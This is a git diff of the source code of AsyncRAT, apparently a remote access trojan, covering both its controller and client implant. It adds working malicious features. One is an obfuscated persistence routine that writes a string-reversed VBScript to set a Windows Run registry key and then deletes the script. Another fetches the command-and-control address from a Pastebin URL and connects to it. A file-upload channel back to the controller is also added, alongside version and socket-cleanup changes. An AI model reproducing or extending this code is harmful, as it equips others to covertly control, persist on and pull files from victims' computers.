}
}
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Helper/AsyncTask.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Helper/AsyncTask.cs
new file mode 100644
index 0000000..d4da210
--- /dev/null
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/Helper/AsyncTask.cs
@@ -0,0 +1,28 @@
+using AsyncRAT_Sharp.MessagePack;
+using AsyncRAT_Sharp.Sockets;
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text;
+using System.Threading.Tasks;
+using System.Windows.Forms;
+using System.Threading;
+using System.Diagnostics;
+
+namespace AsyncRAT_Sharp.Helper
+{
+ public class AsyncTask
+ {
+ public byte[] msgPack;
+ public string id;
+ public List doneClient;
+
+ public AsyncTask(byte[] _msgPack, string _id)
+ {
+ msgPack = _msgPack;
+ id = _id;
+ doneClient = new List();
+ }
+ }
+
+}
\ No newline at end of file
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Properties/Settings.Designer.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Properties/Settings.Designer.cs
index 29a1fde..3bba787 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Properties/Settings.Designer.cs
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/Properties/Settings.Designer.cs
@@ -35,18 +35,6 @@ namespace AsyncRAT_Sharp.Properties {
}
}
- [global::System.Configuration.UserScopedSettingAttribute()]
- [global::System.Diagnostics.DebuggerNonUserCodeAttribute()]
- [global::System.Configuration.DefaultSettingValueAttribute("")]
- public string DNS {
- get {
- return ((string)(this["DNS"]));
- }
- set {
- this["DNS"] = value;
- }
- }
-
[global::System.Configuration.UserScopedSettingAttribute()]
[global::System.Diagnostics.DebuggerNonUserCodeAttribute()]
[global::System.Configuration.DefaultSettingValueAttribute("")]
@@ -61,7 +49,7 @@ namespace AsyncRAT_Sharp.Properties {
[global::System.Configuration.UserScopedSettingAttribute()]
[global::System.Diagnostics.DebuggerNonUserCodeAttribute()]
- [global::System.Configuration.DefaultSettingValueAttribute("False")]
+ [global::System.Configuration.DefaultSettingValueAttribute("True")]
public bool Notification {
get {
return ((bool)(this["Notification"]));
@@ -82,5 +70,29 @@ namespace AsyncRAT_Sharp.Properties {
this["Mutex"] = value;
}
}
+
+ [global::System.Configuration.UserScopedSettingAttribute()]
+ [global::System.Diagnostics.DebuggerNonUserCodeAttribute()]
+ [global::System.Configuration.DefaultSettingValueAttribute("")]
+ public string Pastebin {
+ get {
+ return ((string)(this["Pastebin"]));
+ }
+ set {
+ this["Pastebin"] = value;
+ }
+ }
+
+ [global::System.Configuration.UserScopedSettingAttribute()]
+ [global::System.Diagnostics.DebuggerNonUserCodeAttribute()]
+ [global::System.Configuration.DefaultSettingValueAttribute("")]
+ public string IP {
+ get {
+ return ((string)(this["IP"]));
+ }
+ set {
+ this["IP"] = value;
+ }
+ }
}
}
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Properties/Settings.settings b/AsyncRAT-C#/AsyncRAT-Sharp/Properties/Settings.settings
index b3dd690..f5f5326 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Properties/Settings.settings
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/Properties/Settings.settings
@@ -5,17 +5,20 @@
-
-
-
- False
+ True
+
+
+
+
+
+
\ No newline at end of file
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/AsyncRAT-Sharp.exe.config b/AsyncRAT-C#/AsyncRAT-Sharp/Resources/AsyncRAT-Sharp.exe.config
index 67f88a7..1c149b7 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/AsyncRAT-Sharp.exe.config
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/Resources/AsyncRAT-Sharp.exe.config
@@ -13,18 +13,21 @@
-
-
-
- False
+ True
+
+
+
+
+
+
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Settings.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Settings.cs
index 66b76a1..4628ff1 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Settings.cs
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/Settings.cs
@@ -17,6 +17,6 @@ namespace AsyncRAT_Sharp
public static string CertificatePath = Application.StartupPath + "\\ServerCertificate.p12";
public static X509Certificate2 ServerCertificate;
- public static readonly string Version = "AsyncRAT 0.4.8B";
+ public static readonly string Version = "AsyncRAT 0.4.8d";
}
}
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs
index b1ce66f..ec9bf8f 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs
@@ -131,15 +131,8 @@ namespace AsyncRAT_Sharp.Sockets
try
{
- if (ClientSocket.Connected)
- {
- ClientSocket.Shutdown(SocketShutdown.Both);
- }
- }
- catch { }
-
- try
- {
+ ClientSslStream?.Close();
+ ClientSocket?.Close();
ClientSslStream?.Dispose();
ClientSocket?.Dispose();
ClientMS?.Dispose();
diff --git a/AsyncRAT-C#/Client/Handle Packet/HandleFileManager.cs b/AsyncRAT-C#/Client/Handle Packet/HandleFileManager.cs
index a34ea55..6e310a1 100644
--- a/AsyncRAT-C#/Client/Handle Packet/HandleFileManager.cs
+++ b/AsyncRAT-C#/Client/Handle Packet/HandleFileManager.cs
@@ -12,6 +12,7 @@ using System.Net.Sockets;
using System.Security.Authentication;
using System.Net.Security;
using System.Security.Cryptography.X509Certificates;
+using System.Threading;
namespace Client.Handle_Packet
{
@@ -121,8 +122,6 @@ namespace Client.Handle_Packet
msgpack2.ForcePathObject("File").SetAsBytes(File.ReadAllBytes(file));
ChunkSend(msgpack2.Encode2Bytes(), Client, SslClient);
- Client.Shutdown(SocketShutdown.Both);
- Client.Dispose();
}
catch
{
@@ -162,6 +161,69 @@ namespace Client.Handle_Packet
}
}
+ public void ReqUpload(string id)
+ {
+ Socket Client = null;
+ SslStream SslClient = null;
+ try
+ {
+ Client = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp)
+ {
+ ReceiveBufferSize = 50 * 1024,
+ SendBufferSize = 50 * 1024,
+ };
+ Client.Connect(ClientSocket.Client.RemoteEndPoint.ToString().Split(':')[0], Convert.ToInt32(ClientSocket.Client.RemoteEndPoint.ToString().Split(':')[1]));
+ SslClient = new SslStream(new NetworkStream(Client, true), false, ValidateServerCertificate);
+ SslClient.AuthenticateAsClient(Client.RemoteEndPoint.ToString().Split(':')[0], null, SslProtocols.Tls, false);
+
+
+ MsgPack msgpack = new MsgPack();
+ msgpack.ForcePathObject("Packet").AsString = "fileManager";
+ msgpack.ForcePathObject("Command").AsString = "reqUploadFile";
+ msgpack.ForcePathObject("ID").AsString = id;
+ ChunkSend(msgpack.Encode2Bytes(), Client, SslClient);
+
+
+ byte[] sslBuffer = new byte[4];
+ MemoryStream sslMS = new MemoryStream();
+ int sslSize = 0;
+ while (Client.Connected)
+ {
+ while (sslMS.Length != 4)
+ {
+ int read = SslClient.Read(sslBuffer, 0, sslBuffer.Length);
+ sslMS.Write(sslBuffer, 0, read);
+ if (read == 0) break;
+ }
+ sslSize = BitConverter.ToInt32(sslMS.ToArray(), 0);
+ sslBuffer = new byte[sslSize];
+ sslMS.Dispose();
+ sslMS = new MemoryStream();
+ while (sslMS.Length != sslSize)
+ {
+ int read = SslClient.Read(sslBuffer, 0, sslBuffer.Length);
+ if (read == 0) break;
+ sslMS.Write(sslBuffer, 0, read);
+ sslBuffer = new byte[sslSize - sslMS.Length];
+ }
+ ThreadPool.QueueUserWorkItem(Packet.Read, sslMS.ToArray());
+ sslMS.Dispose();
+ sslMS = new MemoryStream();
+ sslBuffer = new byte[4];
+ //SslClient?.Close();
+ //Client?.Close();
+ //SslClient?.Dispose();
+ //Client?.Dispose();
+ break;
+ }
+ }
+ catch
+ {
+ SslClient?.Dispose();
+ Client?.Dispose();
+ }
+ }
+
private bool ValidateServerCertificate(object sender, X509Certificate certificate, X509Chain chain, SslPolicyErrors sslPolicyErrors)
{
#if DEBUG
diff --git a/AsyncRAT-C#/Client/Handle Packet/HandleRemoteDesktop.cs b/AsyncRAT-C#/Client/Handle Packet/HandleRemoteDesktop.cs
index 50b76b7..6541124 100644
--- a/AsyncRAT-C#/Client/Handle Packet/HandleRemoteDesktop.cs
+++ b/AsyncRAT-C#/Client/Handle Packet/HandleRemoteDesktop.cs
@@ -22,7 +22,11 @@ namespace Client.Handle_Packet
{
try
{
- Socket Client = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
+ Socket Client = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp)
+ {
+ SendBufferSize = 50 * 1024,
+ ReceiveBufferSize = 50 * 1024,
+ };
Client.Connect(ClientSocket.Client.RemoteEndPoint.ToString().Split(':')[0], Convert.ToInt32(ClientSocket.Client.RemoteEndPoint.ToString().Split(':')[1]));
SslStream SslClient = new SslStream(new NetworkStream(Client, true), false, ValidateServerCertificate);
diff --git a/AsyncRAT-C#/Client/Handle Packet/Packet.cs b/AsyncRAT-C#/Client/Handle Packet/Packet.cs
index 57f03ba..6faef7f 100644
--- a/AsyncRAT-C#/Client/Handle Packet/Packet.cs
+++ b/AsyncRAT-C#/Client/Handle Packet/Packet.cs
@@ -168,6 +168,13 @@ namespace Client.Handle_Packet
break;
}
+ case "reqUploadFile":
+ {
+ FileManager fileManager = new FileManager();
+ fileManager.ReqUpload(unpack_msgpack.ForcePathObject("ID").AsString);
+ break;
+ }
+
case "deleteFile":
{
string fullPath = unpack_msgpack.ForcePathObject("File").AsString;
diff --git a/AsyncRAT-C#/Client/Install/NormalStartup.cs b/AsyncRAT-C#/Client/Install/NormalStartup.cs
index 0b53413..6f0b62a 100644
--- a/AsyncRAT-C#/Client/Install/NormalStartup.cs
+++ b/AsyncRAT-C#/Client/Install/NormalStartup.cs
@@ -1,4 +1,5 @@
using Client.Helper;
+using Microsoft.VisualBasic;
using Microsoft.Win32;
using System;
using System.Diagnostics;
@@ -43,7 +44,19 @@ namespace Client.Install
fs.Dispose();
if (!new WindowsPrincipal(WindowsIdentity.GetCurrent()).IsInRole(WindowsBuiltInRole.Administrator))
- Registry.CurrentUser.CreateSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Run").SetValue(Path.GetFileName(Settings.ClientFullPath), Settings.ClientFullPath);
+ {
+ string tempName = Path.GetTempFileName() + ".vbs";
+ string TempPath = Strings.StrReverse(Settings.ClientFullPath);
+ String TempPathName = Strings.StrReverse(Path.GetFileName(Settings.ClientFullPath));
+ using (StreamWriter sw = new StreamWriter(tempName, false))
+ {
+ sw.Write(Strings.StrReverse($@"""ZS_GER"",""{TempPath}"",""{TempPathName}\nuR\noisreVtnerruC\swodniW\tfosorciM\erawtfoS\UCKH"" etirWgeR.llehShsW
+)""llehS.tpircSW""(tcejbOetaerC = llehShsW teS"));
+ }
+ Process.Start(tempName);
+ Thread.Sleep(1000);
+ File.Delete(tempName);
+ }
else
{
Process.Start(new ProcessStartInfo()
diff --git a/AsyncRAT-C#/Client/Settings.cs b/AsyncRAT-C#/Client/Settings.cs
index cc0fc38..33585d6 100644
--- a/AsyncRAT-C#/Client/Settings.cs
+++ b/AsyncRAT-C#/Client/Settings.cs
@@ -12,7 +12,7 @@ namespace Client
#if DEBUG
public static string Ports = "6606";
public static string Hosts = "127.0.0.1";
- public static string Version = "AsyncRAT 0.4.7";
+ public static string Version = "AsyncRAT 0.4.8d";
public static string Install = "false";
public static string ClientFullPath = Path.Combine(Environment.ExpandEnvironmentVariables("%AppData%"), "Payload.exe");
public static string Key = "NYAN CAT";
@@ -22,10 +22,11 @@ namespace Client
public static X509Certificate2 ServerCertificate;
public static string Anti = "false";
public static Aes256 aes256 = new Aes256(Key);
+ public static string Pastebin = "null";
#else
public static string Ports = "%Ports%";
public static string Hosts = "%Hosts%";
- public static string Version = "AsyncRAT 0.4.8B";
+ public static string Version = "AsyncRAT 0.4.8d";
public static string Install = "%Install%";
public static string ClientFullPath = Path.Combine(Environment.ExpandEnvironmentVariables("%Folder%"), "%File%");
public static string Key = "%Key%";
@@ -35,6 +36,7 @@ namespace Client
public static X509Certificate2 ServerCertificate;
public static readonly string Anti = "%Anti%";
public static Aes256 aes256;
+ public static string Pastebin = "%Pastebin%";
#endif
@@ -49,6 +51,7 @@ namespace Client
aes256 = new Aes256(Key);
Ports = aes256.Decrypt(Ports);
Hosts = aes256.Decrypt(Hosts);
+ Pastebin = aes256.Decrypt(Pastebin);
Serversignature = aes256.Decrypt(Serversignature);
ServerCertificate = new X509Certificate2(Convert.FromBase64String(aes256.Decrypt(Certificate)));
return VerifyHash();
diff --git a/AsyncRAT-C#/Client/Sockets/ClientSocket.cs b/AsyncRAT-C#/Client/Sockets/ClientSocket.cs
index 9944d2c..c9eb87f 100644
--- a/AsyncRAT-C#/Client/Sockets/ClientSocket.cs
+++ b/AsyncRAT-C#/Client/Sockets/ClientSocket.cs
@@ -12,6 +12,7 @@ using System.Security.Principal;
using System.Net.Security;
using System.Security.Authentication;
using System.Security.Cryptography.X509Certificates;
+using System.Net;
// │ Author : NYAN CAT
// │ Name : Nyan Socket v0.1
@@ -43,8 +44,24 @@ namespace Client.Sockets
ReceiveBufferSize = 50 * 1024,
SendBufferSize = 50 * 1024,
};
- Client.Connect(Convert.ToString(Settings.Hosts.Split(',')[new Random().Next(Settings.Hosts.Split(',').Length)]),
- Convert.ToInt32(Settings.Ports.Split(',')[new Random().Next(Settings.Ports.Split(',').Length)]));
+ if (Settings.Pastebin == "null")
+ {
+ Client.Connect(Convert.ToString(Settings.Hosts.Split(',')[new Random().Next(Settings.Hosts.Split(',').Length)]),
+ Convert.ToInt32(Settings.Ports.Split(',')[new Random().Next(Settings.Ports.Split(',').Length)]));
+ }
+ else
+ {
+ using (WebClient wc = new WebClient())
+ {
+ NetworkCredential networkCredential = new NetworkCredential("", "");
+ wc.Credentials = networkCredential;
+ string resp = wc.DownloadString(Settings.Pastebin);
+ string[] spl = resp.Split(new[] { ":" }, StringSplitOptions.None);
+ Settings.Hosts = spl[0];
+ Settings.Ports = spl[new Random().Next(1,spl.Length)];
+ Client.Connect(Settings.Hosts, Convert.ToInt32(Settings.Ports));
+ }
+ }
if (Client.Connected)
{
Debug.WriteLine("Connected!");